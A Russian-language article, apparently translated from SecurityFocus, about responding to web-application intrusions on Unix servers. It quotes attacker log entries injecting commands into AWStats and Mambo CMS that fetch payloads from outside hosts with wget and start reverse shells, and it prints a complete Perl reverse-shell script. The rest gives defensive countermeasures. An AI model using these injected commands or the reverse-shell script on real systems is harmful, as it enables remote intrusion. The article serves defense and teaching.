Как мы все знаем, предотвращение,
обнаружение и ответ — три основные линии
обороны против сетевых угроз. Так же
понятно, что хороший администратор большую
часть своих усилий направляет на
укрепление первой линии обороны —
предотвращении проникновения. Но всегда
возможны случаи, когда наша начальная
оборона спасует — возможно из-за
недостаточности времени, возможно из-за
ошибок в процедурах обеспечения
безопасности, возможно по какой-либо другой
причине. В данной статье мы рассмотрим
несколько случаев проникновения хакеров в
Unix-систему, покажем нормальное поведение
администратора для предотвращения такого
рода угроз.

В наши дни все больше распространение
получают файрволы и люди все больше
внимания уделяют своевременному получению
и установке патчей, следовательно все
больше атак реализуется на уровне
приложений. Например, мы все больше видим
примеров SQL-инъекций, подбора SSH паролей,
межсайтового скриптинга, использования
ошибок броузеров. В качестве примерной системы в нашей статьей мы рассмотрим
нормальную ОСь с установленными патчами,
настроенным файрволом — иначе это именно та
область куда стоит направить все свои
усилия в первую очередь. Для тех же, кто
хорошо следит за своей системой — наша
статья.

Web-атака: AWStats

Предположим, что нападающий осуществляют
атаку на уязвимую версию awstats,
прямо через броузер:

10.0.55.10 - - [25/Feb/2006:22:44:16 +1300] "GET /awstats/
awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bwget%20http%3a
%2f%2f81%2e58%2e26%2e26%2flibsh%2fping%2etxt%3bmv%20ping%2etxt%
20temp2006%3bperl%20temp2006%20210%2e245%2e233%2e251%208080...

Хотя уязвимость довольно давно
известна, в сети все еще можно встретить
бажные версии  программы. Очевидно, что в
данном случае нападающий пытается
заставить сервер выполнить следующие
команды:


echo b_exp;
wget http://81.58.26.26/libsh/ping.txt;
mv ping.txt temp2006;
perl temp2006 210.245.233.251 8080;
...

Получив ping.txt (или temp2006) мы можем понять,
что это простой Perl скрипт: 

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

Теперь мы понимаем, что цель всей атаки —
получить обратный шелл, а в качестве бонуса
и ряд других
параметров операционной системы:
пользователя от которого выполняется срипт,
текущую директорию и пр. Скрипт кроме того
пытается скрыть свою работу, уничтожив файл
истории.

Для аннулирования такого нападения
достаточно сделать одну или все из
приведенных ниже вещей. Первое и главное:
стоит убедиться, что awstats.pl не уязвим —
пропатчен или проапгрейжен до новой версии.
Это самый очевидный и естественный путь,
думаю все читающие эти строки стараются
держать свой софт в обновленном состоянии.
Однако в данном случае мы говорим о прорыве
первой линии обороны, можно представить что
выпущен 0-day эксплоит или просто существует
сервер о котором администраторы забыли.

Администратор для защиты может
использовать стороннюю IDS систему, например модуль mod_security для Apache. Такая
система предупредит владельца об
использовании недопустимых запросов —
"curl%20" или "wget%20" и подобных. При
конфигурировании такой системы надо
помнить, что следует наблюдать и за POST
запросами, на случай взлома, например, XMLRPC.

 Следующий действенный способ защиты —
переименовать или удалить исполняемые
файлы tftp/wget/curl/perl, если они не нужны вам. Это
не сделает систему более безопасной, но
позволит исключить большинство нападений.
Подобно можно использовать файрвол для
блокирования исходящих соединений от
имени  web-сервера — такой шаг в одиночестве не
обезопасит вашу систему, но защитит от
большинства обратных шеллов. Для защиты от
SQL-инъекций можно аналогичным образом
поработать с бинарниками tftp (для Windows) и tftp,
wget и curl для Unix.

В дополнение можно задействовать CHROOT
для простого ограничения доступных серверу
файлов и директорий. Он защитит от
использования исполняемых файлов типа wget и
curl и позволит настроить список директорий,
которые могут быть доступны хакеру в случае
удачного эксплуатирования уязвимостей в
приложениях. 

Как дополнительное средство можно использовать
программу слежения за целостностью файлов. Такие
программы (типа AIDE или Tripwire), запускаемые
несколько раз в день или в качестве демона,
сравнивают контрольные суммы файлов с
хранящимися в базе и таким образом могут
обнаруживать изменения в файлах и директориях,
предупреждая администратора о вторжениях.
Но тут в дело уже вступает человеческий
фактор — если администратор не обращает
внимание на предупреждения ситемы, то ее
действенность стремится к нулю.

Web-атака: Mambo CMS

Подобную же атаку можно увидеть и в Mambo.
Выглядеть она будет примерно так:

10.0.146.236 - - [28/Feb/2006:12:30:44 +1300] "GET /index2
.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option
]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_pa
th=http://66.98.144.89/cmd.txt?&cmd=cd%20/tmp;wget%2010.0.218.1
83/cback;chmod%20744%20cback;./cback%2010.0.242.90%208081;wget%
2010.0.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%2010.0
.242.90%208081...

Можно увидеть, что тут речь идет еще об
одной типичной ошибке — отсутствии проверки
ввода в одном из параметров и подключении
внешнего PHP-файла.

Контрмеры описанные в предыдущем примере
сработают и в данном случае, но тут возможно
дополнение — администратор может выключить
опцию allow_url_fopen в php.ini. Это уже не говоря о
register_globals и прочих чрезвычайно небезопасных
опциях. 

(Продолжение следует)

Источник: http://www.securityfocus.com/infocus/1871

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…